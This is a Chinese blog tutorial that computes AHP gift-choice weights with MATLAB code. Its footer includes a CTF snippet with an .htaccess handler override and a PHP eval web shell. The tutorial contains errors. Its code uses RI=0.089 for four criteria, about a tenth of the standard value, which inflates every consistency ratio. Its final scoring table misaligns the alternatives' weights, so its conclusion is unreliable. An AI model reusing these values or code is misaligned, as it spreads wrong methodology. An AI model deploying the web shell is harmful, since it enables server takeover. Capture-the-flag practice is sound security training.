MATLAB实现AHP层次分析法——以情人节选取礼物为例

问题背景

情人节来临之际,广大直男(女)同胞在给异性朋友选购礼物时会遇到难题——什么才是礼物好坏最重要的标准?基于层次分析法AHP进行计算,得出最高权重的指标,给出各位朋友选购礼物的一种思路,指导大家选到更为贴切的礼物。

使用模型:

AHP层次分析法

反思与总结

  1. AHP算法的主观性还是很强,虽然较直男的主观臆断来说相对好些,但在构造判断矩阵时的主观臆断很难规避。
  2. 另外,对于性别、职业等问题,AHP的局限性更加明显。
  3. 解决方法,就是在大量的调查数据中取平均,构造尽可能客观的判断矩阵

目录

一.指标确定(建立准则层)

二.权值确定:

三.举例验证(建立方案层) 

四.AHP的理论知识

五.MATLAB代码实现


一.指标确定(建立准则层)

(1)问题分析

学生党在给自己的couple挑选礼物时,需要考虑哪些主要方面?根据知乎、b站、抖音等自媒体平台和知网上面的相关文献,得出以下几个比较主要的考虑指标:

  1. 实用性
  2. 纪念价值(心意):
  3. 价位
  4. 外观
  5. 主权(“有个人身份的象征标志:如戒指上面刻字”):
  6. 他(她)的喜好

        …………等

为了便于统计分析,选取其中“心意、价位、实用性、喜好”四项作为本次分析的指标。

接下来我们将计算各种指标的权值,具体有如下三种方式:

  1. 笔者角度:作为0.5倍的直男,对指标进行打分
  2. 统计分析:分别统计100+个男生、女生对权重的打分,取平均值
  3. 进行层次分析法思想:实现分而治之,对各种指标两两比较,理性计算权值

如上三种统计方式中:

  1. 对于男性,按照0.1、0.1,0.8的权重再取各自的加权,计算最终指标的权重。
  2. 对于女性,由于笔者是男性,出于减少主观性的角度考虑,第一项和第三项均无法计算,直接按照第二项——问卷取平均分即可。

(2)对于男性:

1.笔者自己赋予的权重

根据笔者的直男思想,赋予如下表中的权值:

2.统计分析13位男生:

由于调查方式有限,本次调查仅获取到13位男生的想法,为了保证结果的严谨性,首先对异常值进行剔除,最后有11名男生的数据认为真实有效,并使用算术平均计算各项的均分,结果经可视化处理后如下:

3.层次分析法思想:

  • 原理:

如果一次性考虑全部四个指标,往往会考虑不周;如果我们采取分而治之的思想,两两比较,最终根据结果推算权重,相比之下会周到很多。

  • 局限性:

出于笔者自身角度考虑,故赋予权值时主观性仍然很强。

(优化方法:调查问卷取平均,不过该方法比较专业化,面向大众调查时统计数据由一定的难度)。

4.具体实现步骤:

  • 首先,给出两两比较的重要程度表:

  • 进行判断:根据组合数原理C(4,2),一共需要比较6次。

       如下图:黄色越深代表越重要,蓝色越深代表越不重要

上图得到的结果,即为层次分析法中的判断矩阵。

  • 判断矩阵的一致性检验

在层次分析法的判断矩阵中,可能会出现这样的问题:不一致现象。

我们做出如下假设:A代表心意,B代表价位,C代表实用性。

在矩阵中的(2,1)号元素,我们发现,A之于B的重要程度为5——即心意远大于价位这件事是正确的。假设此时(3,1)号元素的值也为1,则有A=C成立——即心意和实用性一样重要。但当我们观察(2,3)号元素,会发现:实用性之于价位的重要程度为2,与心意之于价位的重要程度是不相同的,我们把这样的矛盾称为不一致现象。

在层次分析法中有如下的定义,若判断矩阵为完全一致矩阵,则必有(m,n)的元素与(n,k)的元素相乘的结果与(m,k)中的元素值相等。

且很容易得出结论:一致矩阵的行和列之间是成倍数关系的。

在层次分析法中,的要求各指标形成的判断矩阵必须一致,才可以进一步计算各指标的权值。然而,结合实际问题与主观因素的影响,构造绝对的一致性矩阵往往是不现实的。

因此我们采用一致性检验。所谓一致性检验,就是检查真实构造出的判断矩阵和一致性矩阵是否有较大差距。原理大致如下,这里不予证明。

使用MATLAB计算本文中判断矩阵的最大特征值,结果为4.1580,代码段在附录之中。

接下来开始一致性检验,步骤不再赘述,大致如下:

经计算,CR的值为0.5918,因为CR>0.1,所以上述判断矩阵未经过一致性检验,需要对判断矩阵进行修正!上述情况也一定程度体现出了AHP方法的局限性。

后经过6次修改,得到崭新的判断矩阵,如下图。

上述判断矩阵的一致性比例是0.0598<0.1,故我们可以认为其满足一致性检验,且上述矩阵为真正使用的矩阵。

  • 计算各项指标的权值

在满足一致性检验之后,即可对判断矩阵进行加权的计算。在计算加权时,我们有三种计算方法,分别是算术平均法、几何平均法以及特征值法,为了保证结果的严谨性,此处的三种计算方式将全部使用。此外,无论哪种计算权重的方法,在计算前先要对判断矩阵进行归一化处理。

经MATLAB计算,归一化处理的矩阵为上图。

接下来分别使用三种方式计算4项指标各自的权重:

算术平均法:

根据MATLAB软件,计算得权重为以下值:

指标

权值

心意

0.4091

价位

0.0825

实用性

0.1585

喜好

0.3499

几何平均法:

根据MATLAB软件,计算得权重为以下值:

指标

权值

心意

0.4094

价位

0.0827

实用性

0.1581

喜好

0.3498

特征值法:

根据MATLAB软件,计算得权重为以下值:

指标

权值

心意

0.4098

价位

0.0824

实用性

0.1579

喜好

0.3499

综上所述,三种方式求得的指标权值如下表所示:

指标

算术平均法

几何平均法

特征值法

心意

0.4091

0.4094

0.4098

价位

0.0825

0.0827

0.0824

实用性

0.1585

0.1581

0.1579

喜好

0.3499

0.3498

0.3499

从上表可以看出,三种方法求得的权值近乎相同,这与一致性指标较小——即矩阵一致性较强有关。这里我们采用进一步的算术平均法,为三种方式赋予相同的权重,计算最后的指标权重,如下图:

指标

AHP法权值

心意

0.4094

价位

0.0825

实用性

0.1582

喜好

0.3499

总和

1.0000

上表即为层次分析法APH所求得的指标权值。

(3)对于女生

由于笔者是男生,所以无法通过方法一及方法三计算权值,只能通过搜集问卷来统计分析。

问卷中调查了120位给出的结果,在去除异常值后,得到如下的权值分布(此处的饼图按照整数制作,具体数值在之后会给出):

二.权值确定:

对于男生,三种方式的计算结果分别如下:

指标

直男主观臆断

调查统计

层次分析法AHP

心意

0.5

0.38

0.4094

价位

0.1

0.26

0.0825

实用性

0.15

0.13

0.1582

喜好

0.25

0.23

0.3499

权值

0.1

0.1

0.8

则最终得到的男生选礼物时的权重为:

指标

最终权值

心意

0.4035

价位

0.1028

实用性

0.1545

喜好

0.3402

对于女生,直接按照统计结果,即可得出各项指标的权重。

指标

最终权值

心意

0.3208

价位

0.2025

实用性

0.2009

喜好

0.2758

三.举例验证(建立方案层) 

在问卷中,笔者还调查了两性在送另一半礼物时典型的几种选择,归纳整理后,大致如下(各四类):

男生:

  1. 零食
  2. 首饰类
  3. 小玩偶
  4. 护肤(化妆)品

女生:

  1. 自己亲手做的一类物品(画画,蛋糕等)
  2. 衣服
  3. 游戏
  4. 体育用品

1.男生选择礼物的最佳方案

对于男生,我们采用上述四种礼物作为方案层,计算各项指标的得分。

首先,我们使用同样的方式,建立各种物品在4种指标下的权重,并建立判断矩阵,并用MATLAB检验是否满足一致性,代码部分同样在附录之中。

为了节约篇幅,此处直接给出经计算过后的结果:

 


用CR1,CR2,CR3,CR4个变量分别代表四个判断矩阵的一致性指标,计算结果如下:

一致性指标

结果大小

CR1

0.0790

CR2

0.0536

CR3

0.0667

CR4

0.0380

由于4个一致性指标均小于0.1,则可认为上述4个判断矩阵均满足一致性。

接下来计算判断矩阵中的各项权值,计算结果如下表

心意

权值

零食

0.0759

首饰类

0.4428

小玩偶

0.2310

化妆品

0.2503

价位

权值

零食

0.5235

首饰类

0.0959

小玩偶

0.2951

化妆品

0.0856

实用性

权值

零食

0.5478

首饰类

0.1276

小玩偶

0.0751

化妆品

0.2496

喜好

权值

零食

0.1402

首饰类

0.5192

小玩偶

0.0810

化妆品

0.2596

计算完权值后,接下来将计算各个选择(方案)的得分,对应得分与权值相乘后再*100后得到最终得分:

如下表:

指标

权值

零食

首饰类

小玩偶

化妆品

心意

0.4035

0.0759

0.5235

0.5478

0.1402

价位

0.1028

0.4428

0.0959

0.1276

0.5192

实用性

0.1545

0.2310

0.2951

0.0751

0.0810

喜好

0.3402

0.2503

0.0856

0.2496

0.2596

得分

-------

19.698705

17.179195

34.253791

21.393074

根据上表可以得知,从男生送礼物的角度考虑,小玩偶是最合适的选择。

2.女生选择礼物的最佳方案:

由于笔者为男性,此处出于客观性考虑,无法建立判断矩阵,故女生的最佳选择这里不予以计算。

四.AHP的理论知识

1.建立层次结构

在本次模型建立过程中,目标层——即最终解决的问题是:出于自身情况考虑,哪种礼物更适合送给异性?准则层的4项指标,则是出于送礼物时需要考虑的方向。目标层的4个元素,是在统计分析后抽取出的典例,用于计算得分后给出最佳方案。故对于男生,建立的层次结构如下图所示:

 

对于女生,出于客观性考虑,本次不建立层次结构,只给出大众化的一个考虑指标权重。

2.构造判断矩阵

对于同一层次的各元素关于上一层次中某一准则的重要性进行两两比较,构造两两比较矩阵(判断矩阵)。

本文之前已经给出了准则层与方案层各个元素的判断矩阵,这里不再赘述。

3.计算指标权值

构造出一致性判断矩阵后,对结果进行计算,计算方式为方案层判断矩阵得分乘以准则层判断矩阵权值,此处同样省略计算步骤。

4.计算最终得分(得出目标层)

根据计算结果,选择得分最高的一项作为目标层的结果。本文中男生选礼物的最佳方案为小玩偶。

五.MATLAB代码实现

直接整合到一起了,大家根据注释自行阅读~

%%1.首先计算最大特征值  
 X= [1,5,3,0.333;0.2,1,0.5,0.2;0.333,2,1,0.333;3,5,3,1];  
[V,D] = eig(X);   
% 求出A的特征值矩阵D和特征向量V  
max_eig=max(max(D));  
%获得最大特征值max_eig(拉姆达):4.1580  
%%2.计算相关变量,并完成一致性检验  
CI = (max_eig - 4) / (4-1);  
%%计算一致性指标CI(此处n的值为4)  
RI=0.089;  
%查表得到随机平均一致性指标,本次总共有4个决策元素(即挑选礼物的指标)  
%查表得知n=4时,RI=0.089  
CR=CI/RI;  
%计算一致性指标  
%CR=0.5918,第一次写出的判断矩阵未通过一致性检验,故需要对判断矩阵进行修正。  
Y=[1    5   3   1;  
0.2 1   0.5 0.25;  
0.3333  2   1   0.5;  
1   4   2   1;  
];  
[VN,DN] = eig(Y);   
max_eigN=max(max(DN));  
CIN = (max_eigN - 4) / (4-1);  
RIN=0.089;  
CRN=CIN/RIN;  
%CR1的值为0.0580,符合一致性检验  
%%3.对矩阵进行归一化处理(每一个元素除以其所在列的和)  
Sum_Y = sum(Y);  
[~,n] = size(Y);    
SUM_Y = repmat(Sum_Y,4,1);     
%%定义矩阵Stand_Y,即为最后的归一化处理矩阵。  
Stand_Y = Y ./ SUM_Y;  
%%4.算术平均法计算权重  
disp('算术平均法求权重的结果为:');  
disp(sum(Stand_Y,2)./4);  
%%5.几何平均法计算权重  
Prduct_Y = prod(Y,2);  
Prduct_4_Y = Prduct_Y .^ (1/4);  
disp('几何平均法求权重的结果为:');  
disp(Prduct_4_Y ./ sum(Prduct_4_Y));  
%%6.特征值法求权重:  
[a,b] = eig(Y);  
Max_eigN2 = max(max(b));  
[r,c]=find(b == Max_eigN2 , 1);  
disp('特征值法求权重的结果为:');  
disp( a(:,c) ./ sum(a(:,c)) );  
%%7.对四个方案层的元素分别构造判断矩阵,并计算权值  
%1号矩阵  
X1= [1  0.2 0.3333  0.25;  
     5  1   2   2;  
     3  0.5 1   1;  
     4  0.5 1   1;  
];  
[V1,D1] = eig(X1);   
max_eig1=max(max(D1));  
CI1 = (max_eig1 - 4) / (4-1);  
RI1=0.089;  
CR1=CI1/RI1;  
Sum_X1 = sum(X1);  
[~,n] = size(X1);    
SUM_X1 = repmat(Sum_X1,4,1);     
Stand_X1 = X1 ./ SUM_X1;  
disp('1号矩阵算术平均法求权重的结果为:');  
disp(sum(Stand_X1,2)./4);  
%2号矩阵  
 X2= [1 5   2   6;  
0.2 1   0.333   1;  
0.5 3   1   4;  
0.1667  1   0.25    1;  
];  
[V2,D2] = eig(X2);   
max_eig2=max(max(D2));  
CI2 = (max_eig2 - 4) / (4-1);  
RI2=0.089;  
CR2=CI2/RI2;  
Sum_X2 = sum(X2);  
[~,n] = size(X2);    
SUM_X2 = repmat(Sum_X2,4,1);     
Stand_X2 = X2 ./ SUM_X2;  
disp('2号矩阵算术平均法求权重的结果为:');  
disp(sum(Stand_X2,2)./4);  
%3号矩阵  
 X3= [1 5   7   2;  
 0.2    1   2   0.5;  
0.1429  0.5 1   0.3333;  
0.5 2   3   1;  
];  
[V3,D3] = eig(X3);   
max_eig3=max(max(D3));  
CI3 = (max_eig3 - 4) / (4-1);  
RI3=0.089;  
CR3=CI3/RI3;  
Sum_X3 = sum(X3);  
[~,n] = size(X3);    
SUM_X3 = repmat(Sum_X3,4,1);     
Stand_X3 = X3 ./ SUM_X3;  
disp('3号矩阵用算术平均法求权重的结果为::');  
disp(sum(Stand_X3,2)./4);  
%4号矩阵  
X4=[ 1  0.25    2   0.5;  
4   1   6   2;  
0.5 0.1667  1   0.333;  
2   0.5 3   1;  
];  
[V4,D4] = eig(X4);   
max_eig4=max(max(D4));  
CI4 = (max_eig4 - 4) / (4-1);  
RI4=0.089;  
CR4=CI4/RI4;  
Sum_X4 = sum(X4);  
[~,n] = size(X4);    
SUM_X4 = repmat(Sum_X4,4,1);     
Stand_X4 = X4 ./ SUM_X4;  
disp('4号矩阵用算术平均法求权重的结果为:');  
disp(sum(Stand_X4,2)./4);  

结束语:本贴旨在通过该例说明AHP的思想,在选择礼物时要结合具体情况谨慎考虑,避免雷区~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/97400.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

阿里云机器学习PAI全新推出特征平台 (Feature Store),助力AI建模场景特征数据高效利用

推荐算法与系统在全球范围内已得到广泛应用&#xff0c;为用户提供了更个性化和智能化的产品推荐体验。在推荐系统领域&#xff0c;AI建模中特征数据的复用、一致性等问题严重影响了建模效率。阿里云机器学习平台 PAI 推出特征平台&#xff08;PAI-FeatureStore&#xff09; 。…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

MongoDB 双机热备那篇文章是 “毒”

开头还是介绍一下群&#xff0c;如果感兴趣polardb ,mongodb ,mysql ,postgresql ,redis &#xff0c;Oracle ,Oceanbase 等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请加微信号 liuaustin3 &#xff08;…

【紫光同创国产FPGA教程】——【PGL22G第六章】密码锁实验例程

本原创教程由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 适用于板卡型号&#xff1a; 紫光同创PGL22G开发平台&#xff08;盘古22K&#xff09; 一&#xff1a;盘古22K开发板&#xff08;紫光同创PGL22G开发…

2023年9月重庆/南京/深圳CDGA/CDGP数据治理认证考试报名

据DAMA中国官方网站消息&#xff0c;2023年度第三期DAMA中国CDGA和CDGP认证考试定于2023年9月23日举行。 报名通道现已开启&#xff0c;相关事宜通知如下&#xff1a; 考试科目: 数据治理工程师(CertifiedDataGovernanceAssociate,CDGA) 数据治理专家(CertifiedDataGovernanc…

C#2010 .NET4 解析 json 字符串

下载Newtonsoft.Json.dll using System; using System.Collections.Generic; using System.Linq; using System.Text;using Newtonsoft.Json; using Newtonsoft.Json.Linq; using System; namespace ConsoleApplication1 {class Program{static void Main(string[] args){strin…

硬件知识积累 USB 接口 type - A type - B type - C 的介绍与功能说明 (简单介绍)

1. USB 的介绍 1.1 USB 的定义 USB : 通用串行总线(英语: Universal Serial Bus&#xff0c;缩写:USB)是一种串口总线标准&#xff0c;也是一种输入输出接口的技术规范&#xff0c;被广泛地应用于个人电脑和移动设备等信息通讯产品&#xff0c;并扩展至摄影器材、数字电视&a…

Redis各类数据结构应用场景总结

Redis各类数据结构应用场景总结 引言String应用场景 List应用场景 Hash应用场景 Set应用场景 ZSet应用场景 小结 引言 实际面试过程中更多看重的是对Redis相关数据结构的活学活用&#xff0c;同时也可能会引申出Redis相关底层数据结构原理的实现&#xff0c;笔者最近面试过程中…

MySQL事务原理、MVCC详解

事务原理 1 事务基础 1). 事务 事务 是一组操作的集合&#xff0c;它是一个不可分割的工作单位&#xff0c;事务会把所有的操作作为一个整体一起向系 统提交或撤销操作请求&#xff0c;即这些操作要么同时成功&#xff0c;要么同时失败。 2). 特性 原子性&#xff08;Atomi…

Spring Boot Actuator的Env端点存在本地文件包含(LFI)漏洞CVE-2020-5421

文章目录 0.前言1.参考文档2.基础介绍3.漏洞利用原理3.解决方案1. 升级Spring Boot版本2. 限制端点的访问3. 禁用环境端点4. 不公开敏感的Actuator端点5. 开启安全审计 0.前言 背景&#xff1a; Spring Boot Actuator的Env端点存在本地文件包含(LFI)漏洞CVE-2020-5421。被扫描到…

用Socket实现网络通信

文章目录 背景网络编程网络编程三要素 2.Socket之UDP通信程序2.1 UDP发送数据2.2UDP接收数据 3. Socket之TCP通信程序3.1TCP发送数据3.2TCP接收数据 背景 网络编程 ● 计算机网络 是指将地理位置不同的具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路连接起来…

TCP 和 UDP 的区别、TCP 是如何保证可靠传输的?

先来介绍一些osi七层模型 分为应用层、表示层、会话层、运输层、网络层、链路层、物理层。 应用层(数据)&#xff1a;确定进程之间通信的性质以及满足用户需要以及提供网络和用户应用&#xff0c;为应用程序提供服务&#xff0c;DNS&#xff0c;HTTP&#xff0c;HTTPS&#xf…

Shell 脚本入门

目录 一、Shell是什么 1.1 我们为什么要学习Shell和使用Shell&#xff1f; 1.2 Shell的分类有哪些&#xff1f; 二、Shell脚本入门知识 2.1 Shell文件命名规范 2.2 Shell解析器 2.3 用Shell 编写hello World 三、Shell的四种变量类型 3.1 系统预定义变量 3.2 自定义变…

2024年java面试--redis(1)

系列文章目录 2024年java面试&#xff08;一&#xff09;–spring篇2024年java面试&#xff08;二&#xff09;–spring篇2024年java面试&#xff08;三&#xff09;–spring篇2024年java面试&#xff08;四&#xff09;–spring篇 文章目录 系列文章目录前言Redis数据类型Red…

vue 小黑记事本

vue 小黑记事本 下面这个界面用html和css 如何搞出来&#xff1f;

软考:中级软件设计师:大数据

软考&#xff1a;中级软件设计师:大数据 提示&#xff1a;系列被面试官问的问题&#xff0c;我自己当时不会&#xff0c;所以下来自己复盘一下&#xff0c;认真学习和总结&#xff0c;以应对未来更多的可能性 关于互联网大厂的笔试面试&#xff0c;都是需要细心准备的 &#x…

Java 复习笔记 - 方法篇

文章目录 一&#xff0c;方法的定义二&#xff0c;最简单的方法定义和调用三&#xff0c;带参数的方法定义和调用四&#xff0c;带返回值方法的定义和调用五&#xff0c;小结六&#xff0c;方法的重载七&#xff0c;方法简单练习1&#xff0c;数组遍历2&#xff0c;数组最大值3…

无涯教程-Android Intent Standard Extra Data函数

下表列出了各种重要的Android Intent Standard Extra Data。您可以查看Android官方文档以获取额外数据的完整列表- Sr.NoExtra Data & Description1 EXTRA_ALARM_COUNT 用作AlarmManager intents(意图)中的int Extra字段,以告诉正在调用的应用程序intents(意图)释放了多少…

java Spring Boot将不同配置拆分入不同文件管理

关于java多环境开发 最后还有一个小点 我们一般会将不同的配置 放在不同的配置文件中 好处肯定就在于 想换的时候非常方便 那么 我们直接看代码 我们将项目中的 application.yml 更改代码如下 spring:profiles:active: dev这里 意思是 我们选择了dev 环境 然后创建一个文件 …

【网络设备】交换机的概念、工作原理、功能以及以太网帧格式

个人主页&#xff1a;insist--个人主页​​​​​​ 本文专栏&#xff1a;网络基础——带你走进网络世界 本专栏会持续更新网络基础知识&#xff0c;希望大家多多支持&#xff0c;让我们一起探索这个神奇而广阔的网络世界。 目录 一、认识交换机 二、交换机的主要功能 1、数…